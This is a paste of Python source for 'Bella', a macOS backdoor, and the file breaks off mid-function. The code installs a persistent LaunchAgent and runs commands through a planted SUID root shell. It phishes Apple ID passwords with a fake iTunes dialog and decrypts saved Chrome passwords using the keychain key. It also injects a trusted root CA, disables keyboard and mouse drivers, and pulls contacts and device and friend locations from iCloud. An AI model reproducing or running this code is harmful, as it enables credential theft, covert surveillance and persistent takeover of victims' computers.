· 9 years ago · Mar 10, 2017, 03:12 PM
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
4import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
5import StringIO, zipfile, hmac, tempfile, ssl, select
6from xml.etree import ElementTree as ET
7from subprocess import Popen, PIPE
8from glob import glob
9development = True
10def create_bella_helpers(launch_agent_name, bella_folder, home_path):
11 if development:
12 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
13 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
14 <plist version=\"1.0\">
15 <dict>
16 <key>Label</key>
17 <string>%s</string>
18 <key>ProgramArguments</key>
19 <array>
20 <string>%s/Library/%s/Bella</string>
21 </array>
22 <key>StandardErrorPath</key>
23 <string>%s/Library/%s/Bella.stderr.log</string>
24 <key>StandardOutPath</key>
25 <string>%s/Library/%s/Bella.stdout.log</string>
26 <key>StartInterval</key>
27 <integer>5</integer>
28 </dict>
29 </plist>\n""" % (launch_agent_name, home_path, bella_folder, home_path, bella_folder, home_path, bella_folder)
30 else:
31 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
32 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
33 <plist version=\"1.0\">
34 <dict>
35 <key>Label</key>
36 <string>%s</string>
37 <key>ProgramArguments</key>
38 <array>
39 <string>%s/Library/%s/Bella</string>
40 </array>
41 <key>StartInterval</key>
42 <integer>5</integer>
43 </dict>
44 </plist>\n""" % (launch_agent_name, home_path, bella_folder)
45
46 if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
47 os.makedirs('%s/Library/LaunchAgents/' % home_path)
48 with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
49 content.write(launch_agent_create)
50 print 'Created Launch Agent'
51 print 'Moving Bella'
52 if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
53 os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
54 if development:
55 with open(__file__, 'rb') as content:
56 with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
57 binary.write(content.read())
58 else:
59 os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
60 os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
61 print 'Loading Launch Agent'
62 out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
63 if out == '':
64 time.sleep(1)
65 ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
66 ctl = ctl_list.stdout.read()
67 completed = False
68 for agent in ctl.splitlines():
69 if launch_agent_name in agent:
70 completed = True
71 if completed:
72 print 'Loaded LaunchAgent'
73 print 'BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER.'
74 exit()
75 else:
76 pass
77 print 'Error loading LaunchAgent.'
78 elif 'service already loaded' in out:
79 print 'Bella is already loaded in LaunchCTL.'
80 exit()
81 else:
82 print out
83 pass
84 return
85
86def globber(path): #if we are root, this globber will give us all paths
87 if os.getuid() != 0:
88 if is_there_SUID_shell():
89 (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
90 if status:
91 return ast.literal_eval(msg) #convert string list to list
92 return glob(path)
93
94def protected_file_lister(path):
95 if os.getuid() != 0:
96 if is_there_SUID_shell():
97 (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
98 if status:
99 return ast.literal_eval(msg)
100 return os.listdir(path)
101
102def protected_file_reader(path): #for reading files when we have a backdoor root shell
103 if os.getuid() != 0:
104 if is_there_SUID_shell():
105 (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
106 if status:
107 return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
108 if os.access(path, os.R_OK):
109 with open(path, 'r') as content:
110 return content.read()
111 return '[%s] is not accessible' % path
112
113def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
114 global payload_list
115 payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
116 return True
117
118def subprocess_cleanup(): #will clean up all of those in the global payload_list
119 global payload_list
120 for x in payload_list:
121 p = kill_pid(x[0])
122 #print 'Killed pid [%s]: %s' % (x[0], repr(p))
123 payload_cleaner()
124 #print 'removed payload [%s]: %s' % (x[1], repr(p))
125 if p:
126 print 'Killed and cleaned [%s]' % x[2]
127 payload_list.remove(x)
128
129def update_server(updated_server):
130 with open(__file__, 'wb') as content:
131 content.write(updated_server)
132 send_msg('%sUpdated [%s] with new server code.\n' % (blue_star, __file__), False)
133 send_msg('%sRestarting server!\n' % (yellow_star), False)
134 send_msg(os.kill(bellaPID, 9), False)
135 return
136
137def readDB(column, payload=False):
138 #we need the path specified below, because we cant read the helper location from DB without knowing what to read
139 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
140 c = conn.cursor()
141 try:
142 if payload:
143 c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
144 else:
145 c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
146 value = c.fetchone()[0]
147 if value == None:
148 return False
149 except TypeError as e:
150 return False
151
152 except sqlite3.OperationalError:
153 return False
154
155 return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
156
157def updateDB(data, column):
158 data = base64.b64encode(data) #readDB will return this data DECODED
159 if not os.path.isfile("%sbella.db" % get_bella_path()):
160 creator = createDB()
161 if not creator[0]:
162 return (False, "Error creating database! [%s]" % creator[1])
163 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
164 c = conn.cursor()
165 c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
166 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
167 c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
168 c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
169 conn.commit()
170 conn.close()
171 return (True, '')
172
173def check_if_payloads():
174 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
175 c = conn.cursor()
176 c.execute("SELECT * FROM payloads WHERE id = 1")
177 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
178 return False
179 return True
180
181def inject_payloads(payload_encoded):
182 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
183 c = conn.cursor()
184 try:
185 (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile, machRace) = payload_encoded.splitlines()
186 c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker, mach_race) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64'), machRace.encode('base64')))
187 conn.commit()
188 conn.close()
189 return True
190 except Exception as e:
191 print repr(e)
192 conn.close()
193 return False
194
195def createDB():
196 try:
197 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
198 c = conn.cursor()
199 c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, client_name text)")
200 c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text, mach_race text)")
201 conn.commit()
202 conn.close()
203 print "Created Bella DB"
204 except sqlite3.OperationalError as e:
205 if e[0] == "table bella already exists":
206 return (True, e)
207 else:
208 return (False, e) #some error
209 return (True, None)
210
211def encrypt(data):
212 #This function will encode any given data into base64. It will then pass this encoded data as
213 #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
214 #using the master key specified at the top of the program. We encode the data so there are no unicode issues
215 #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
216 #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
217 #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
218 #the subroutine that called the function.
219 data = base64.b64encode(data)
220 encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
221 return encrypted
222
223def decrypt(data):
224 #data = base64.b64decode(data)
225 decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
226 return base64.b64decode(decrypted)
227
228def main_iCloud_helper():
229 error, errorMessage = False, False
230 dsid, token = "", ""
231 (username, password, usingToken) = iCloud_auth_process(False)
232 error = False
233 if password == False:
234 errorMessage = "%s%s" % (red_minus, username) #username will have the error message
235 error = True
236 else:
237 content = dsid_factory(username, password)
238 if content[0] == False:
239 errorMessage =content[1]
240 error = True
241 else:
242 try:
243 (dsid, token, usingToken) = content
244 except ValueError, e:
245 errorMessage = '\n'.join(content)
246 error = True
247 return (error, errorMessage, dsid, token)
248
249def byte_convert(byte):
250 for count in ['B','K','M','G']:
251 if byte < 1024.0:
252 return ("%3.1f%s" % (byte, count)).replace('.0', '')
253 byte /= 1024.0
254 return "%3.1f%s" % (byte, 'TB')
255
256def cur_GUI_user():
257 try:
258 return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
259 except:
260 return "No Current GUI"
261
262def check_output(cmd):
263 process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
264 stderr = process.stderr.read()
265 stdout = process.stdout.read()
266 if process.wait() != 0:
267 print stderr
268 return (False, stderr, process.wait()) #failed, stderr, exit code
269 return (True, stdout, process.wait()) #completed successfully, stdout, exit code
270
271def appleIDPhishHelp():
272 returnString = ""
273 for x in get_iTunes_accounts():
274 if x[0]:
275 returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
276 else:
277 pass
278 return pickle.dumps((returnString, cur_GUI_user()))
279
280def appleIDPhish(username, GUIUser):
281 while True:
282 if sig_int_listener(): #user hit CTRLC, cancel.
283 return
284 check = applepwRead()
285 if isinstance(check, str): #we have file...
286 send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False)
287 break
288 osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"' -e 'text returned of result'"
289 #pauses music, then prompts user
290 out = check_output(osa)
291 if not out[0]:
292 #user has attempted to cancel
293 send_msg("[-] User has attempted to cancel. Trying again.\n", False)
294 continue
295 else:
296 out = out[1]
297 passw = out.replace('\n', '')
298 send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
299 try:
300 request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
301 base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '')
302 request.add_header("Authorization", "Basic %s" % base64string)
303 result = urllib2.urlopen(request)
304 out2 = result.read()
305 except Exception, e:
306 if str(e) == "HTTP Error 401: Unauthorized":
307 out2 = "fail?"
308 elif str(e) == "HTTP Error 409: Conflict":
309 out2 = "2sV"
310 else:
311 out2 = "otherError!"
312
313 if out2 == "fail?":
314 send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False)
315 continue
316 elif out2 == "2sV":
317 send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False)
318 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
319 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
320 break
321 elif out2 == "otherError!":
322 send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False)
323 break
324 else:
325 send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False)
326 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
327 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
328 break
329 send_msg('', True)
330 return 1
331
332def is_there_SUID_shell():
333 if os.getuid() == 0:
334 return True
335
336 if os.path.isfile(ROOT_SHELL_PATH):
337 return True
338
339 if local_pw_read():
340 #send_msg("%sLocal PW present.\n" % greenPlus, False)
341 binarymake = make_SUID_root_binary(local_pw_read(), None)
342 #send_msg(binarymake[1], False)
343 if binarymake[0]: #we have successfully created a temp root shell
344 return True
345 return False
346
347 return False
348
349def remove_SUID_shell():
350 if os.path.isfile(ROOT_SHELL_PATH):
351 try:
352 os.system('%s rm %s > /dev/null' % (ROOT_SHELL_PATH, ROOT_SHELL_PATH))
353 #send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #%
354 except Exception as e:
355 pass
356 #send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False)
357 return
358
359def do_root(command):
360 if os.getuid() == 0:
361 output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
362 out = output.stdout.read()
363 err = output.stderr.read()
364 if output.wait() != 0:
365 return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
366 return (True, "%s\n" % out)
367 else:
368 if not is_there_SUID_shell():
369 return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
370 output = subprocess.Popen("%s \"%s\"" % (ROOT_SHELL_PATH, command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
371 out = output.stdout.read()
372 err = output.stderr.read()
373 if err != '':
374 return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
375 return (True, "%s\n" % out)
376
377def cert_inject(cert):
378 cPath = tempfile.mkdtemp()
379 with open('%scert.crt' % cPath, 'w') as content:
380 content.write(cert)
381 temp_file_list.append(cPath)
382 (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath)
383 if not success:
384 return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg)
385 payload_cleaner()
386 return "%sCertificate Authority injected into System Keychain!\n" % yellow_star
387
388def cert_remove(shahash):
389 (success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash)
390 if not success:
391 return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg)
392 return "%sCertificate Authority removed from System Keychain!\n" % yellow_star
393
394def check_current_users():
395 output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
396 if not output[0]:
397 return "Error finding current users.\n"
398 return output[1]
399
400def check_pid(pid):
401 try:
402 os.kill(pid, 0)
403 except OSError:
404 return False
405 else:
406 return True
407
408def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
409 hexKey = binascii.hexlify(key)
410 hexEncPassword = base64.b64encode(encrypted_value[3:])
411 decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword))
412 if not decrypted[0]:
413 decrypted = "ERROR retrieving password.\n"
414 return decrypted[1] #otherwise we got it
415
416def chrome_dump(safe_storage_key, login_data):
417 send_msg("%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, login_data.split("/")[-2], endANSI), False)
418 empty = True
419 for i, x in enumerate(chrome_process(safe_storage_key, "%s" % login_data)):
420 send_msg("%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2]), False)
421 empty = False
422 if not empty:
423 send_msg('', False)
424 else:
425 send_msg("%sFound no Chrome Passwords for [%s].\n" % (blue_star, login_data.split("/")[-2]), False)
426
427def chrome_process(safe_storage_key, login_data):
428 iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
429 key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
430 copypath = tempfile.mkdtemp() #work around for locking DB
431 dbcopy = protected_file_reader(login_data) #again, shouldnt matter because we only can decrypt DBs with keys
432 with open('%s/chrome' % copypath, 'wb') as content:
433 content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
434 database = sqlite3.connect('%s/chrome' % copypath)
435 sql = 'select username_value, password_value, origin_url from logins'
436 decrypted_list = []
437 with database:
438 for user, encrypted_pass, url in database.execute(sql):
439 if user == "" or (encrypted_pass[:3] != b'v10'): #user will be empty if they have selected "never" store password
440 continue
441 else:
442 url_user_pass_decrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encrypted_pass, iv, key=key).encode('ascii', 'ignore'))
443 decrypted_list.append(url_user_pass_decrypted)
444 shutil.rmtree(copypath)
445 return decrypted_list
446
447def chrome_safe_storage():
448 retString = ""
449 check = chromeSSRead()
450 if isinstance(check, str):
451 send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
452 return
453 while True:
454 ### CTRLC listener
455 if sig_int_listener(): #user hit CTRLC, cancel.
456 return
457 kchain = getKeychains()
458 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
459
460 encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
461 if not encryptionKey[0]:
462 if 51 == encryptionKey[2]:
463 send_msg("%sUser clicked deny.\n" % red_minus, False)
464 continue
465 elif 44 == encryptionKey[2]:
466 send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
467 return
468 else:
469 send_msg("Strange error [%s]\n" % encryptionKey[1], True)
470 return
471 updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
472 send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
473 return
474
475def disable_keyboard_mouse(device):
476 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
477 (success, msg) = do_root("kextunload %s" % paths[device])
478 if not success:
479 return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
480 return "%s%s successfully disabled!\n" % (greenPlus, device)
481
482def dsid_factory(uname, passwd):
483 resp = None
484 req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
485 req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
486 req.add_header('Content-Type', 'application/json')
487 try:
488 resp = urllib2.urlopen(req)
489 except urllib2.HTTPError as e:
490 if e.code != 200:
491 if e.code == 401:
492 return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
493 elif e.code == 409:
494 tokenLocal = tokenRead()
495 if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw
496 dsid = tokenLocal.split("\n")[1].split(":")[0]
497 tokz = tokenLocal.split("\n")[1].split(":")[1]
498 return (dsid, tokz, True)
499 else:
500 return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
501 elif e.code == 404:
502 return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
503 else:
504 return (False, "HTTP Error %s." % e.code, False)
505 else:
506 return e
507 content = resp.read()
508 uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
509 passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
510 return (uname, passwd, False) #third value is "usingToken?"
511
512def enable_keyboard_mouse(device):
513 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
514 (success, msg) = do_root("kextload %s" % paths[device])
515 if not success:
516 return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
517 return "%s%s successfully enabled!\n" % (greenPlus, device)
518
519def enumerate_chrome_profiles():
520 return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
521
522def FMIP(username, password):
523 i = 0
524 try: #if we are given a FMIP token, change auth Type
525 int(username)
526 authType = "Forever"
527 except ValueError: #else apple id use useridguest
528 authType = "UserIDGuest"
529 while True:
530 i +=1
531 url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
532 headers = {
533 'X-Apple-Realm-Support': '1.0',
534 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
535 'X-Apple-Find-API-Ver': '3.0',
536 'X-Apple-AuthScheme': '%s' % authType,
537 'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
538 }
539 request = urllib2.Request(url, None, headers)
540 request.get_method = lambda: "POST"
541 try:
542 response = urllib2.urlopen(request)
543 z = json.loads(response.read())
544 except urllib2.HTTPError as e:
545 if e.code == 401:
546 return "Authorization Error 401. Try credentials again."
547 if e.code == 403:
548 pass #can ignore
549 raise e
550 if i == 2: #loop twice / send request twice
551 break
552 send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
553 send_msg("Awaiting response from iCloud...\n", False)
554 #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
555 time.sleep(5)
556 send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
557 i = 1
558 for y in z["content"]:
559 try:
560 send_msg("Device [%s]\n" % i, False)
561 i += 1
562 send_msg("Model: %s\n" % y["deviceDisplayName"], False)
563 send_msg("Name: %s\n" % y["name"], False)
564 timeStamp = y["location"]["timeStamp"] / 1000
565 timeNow = time.time()
566 timeDelta = timeNow - timeStamp #time difference in seconds
567 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
568 hours, minutes = divmod(minutes, 60)
569 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
570 if hours > 0:
571 timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
572 else:
573 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
574 send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
575 send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
576 send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
577 send_msg("-------\n", False)
578 except TypeError,e :
579 send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
580 send_msg('', True)
581 return 0
582
583def get_card_links(dsid, token):
584 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
585 headers = {
586 'Depth': '1',
587 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
588 'Content-Type': 'text/xml',
589 }
590 data = """<?xml version="1.0" encoding="UTF-8"?>
591 <A:propfind xmlns:A="DAV:">
592 <A:prop>
593 <A:getetag/>
594 </A:prop>
595 </A:propfind>
596 """
597 request = urllib2.Request(url, data, headers)
598 request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
599 response = urllib2.urlopen(request)
600 zebra = ET.fromstring(response.read())
601 returnedData = """<?xml version="1.0" encoding="UTF-8"?>
602 <F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
603 <A:prop xmlns:A="DAV:">
604 <A:getetag/>
605 <F:address-data/>
606 </A:prop>\n"""
607 for response in zebra:
608 for link in response:
609 href = response.find('{DAV:}href').text #get each link in the tree
610 returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
611 return "%s</F:addressbook-multiget>" % str(returnedData)
612
613def get_card_data(dsid, token):
614 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
615 headers = {
616 'Content-Type': 'text/xml',
617 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
618 }
619 data = get_card_links(dsid, token)
620 request = urllib2.Request(url, data, headers)
621 request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
622 response = urllib2.urlopen(request)
623 zebra = ET.fromstring(response.read())
624 i = 0
625 contactList, phoneList, cards = [], [], []
626 for response in zebra:
627 tel, contact, email = [], [], []
628 name = ""
629 vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
630 if vcard:
631 for y in vcard.splitlines():
632 if y.startswith("FN:"):
633 name = y[3:]
634 if y.startswith("TEL;"):
635 tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
636 if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
637 email.append(y.split(":")[-1])
638 cards.append(([name], tel, email))
639 return sorted(cards)
640
641def get_iTunes_accounts():
642 iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
643 returnList = []
644 for x in iClouds:
645 database = sqlite3.connect(x)
646 try:
647 accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
648 username = accounts[0][0] #gets just the first account, no multiuser support yet
649 returnList.append((True, username, x.split("/")[2]))
650 except Exception, e:
651 if str(e) == "list index out of range":
652 returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
653 else:
654 returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
655 return returnList
656
657def get_model():
658 model = readDB('model')
659 if not model:
660 return model
661 return model
662
663def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
664 mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
665 url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
666 headers = {
667 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
668 'Content-Type': 'application/json; charset=utf-8',
669 }
670 data = {
671 "clientContext": {
672 "appVersion": "5.0" #critical for getting appropriate config / time apparently.
673 }
674 }
675 jsonData = json.dumps(data)
676 send_msg('%sRequesting FMF data.\n' % blue_star, False)
677 request = urllib2.Request(url, jsonData, headers)
678 i = 0
679 while 1:
680 try:
681 response = urllib2.urlopen(request)
682 break
683 except: #for some reason this exception needs to be caught a bunch of times before the request is made.
684 i +=1
685 continue
686 x = json.loads(response.read())
687 send_msg('%sGot FMF Data.\n' % yellow_star, False)
688 dsidList = []
689 phoneList = [] #need to find how to get corresponding name from CalDav
690 for y in x["following"]: #we need to get contact information.
691 for z, v in y.items():
692 #do some cleanup
693 if z == "invitationAcceptedHandles":
694 v = v[0] #v is a list of contact information, we will grab just the first identifier
695 phoneList.append(v)
696 if z == "id":
697 v = v.replace("~", "=")
698 v = base64.b64decode(v)
699 dsidList.append(v)
700 zippedList = zip(dsidList, phoneList)
701 retString = ""
702 i = 0
703 try:
704 locations = x["locations"]
705 except KeyError:
706 send_msg('%sCould not find locations. Try again.\n' % red_minus, False)
707 return
708 for y in locations:
709 streetAddress, country, state, town, timeStamp = " " *5
710 dsid = y["id"].replace("~", "=")
711 dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
712 for g in zippedList:
713 if g[0] == dsid:
714 phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
715 for x in cardData:
716 for nums in x[1]:
717 if phoneNumber.replace("+1", "") in nums:
718 phoneNumber += " (%s)" % x[0][0]
719 for emails in x[2]:
720 if phoneNumber in emails:
721 phoneNumber += " (%s)" % x[0][0]
722 try:
723 timeStamp = y["location"]["timestamp"] / 1000
724 timeNow = time.time()
725 timeDelta = timeNow - timeStamp #time difference in seconds
726 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
727 hours, minutes = divmod(minutes, 60)
728 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
729 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
730 except TypeError:
731 timeStamp = "Could not get last location time."
732
733 if not y["location"]: #once satisfied, all is good, return fxn will end
734 continue #go back to top of loop and re-run query
735
736 for z, v in y["location"]["address"].items(): #loop through address info
737 #counter of threes for pretty print...
738 if type(v) is list:
739 continue
740 if z == "streetAddress":
741 streetAddress = v
742 if z == "countryCode":
743 country = v
744 if z == "stateCode":
745 state = v
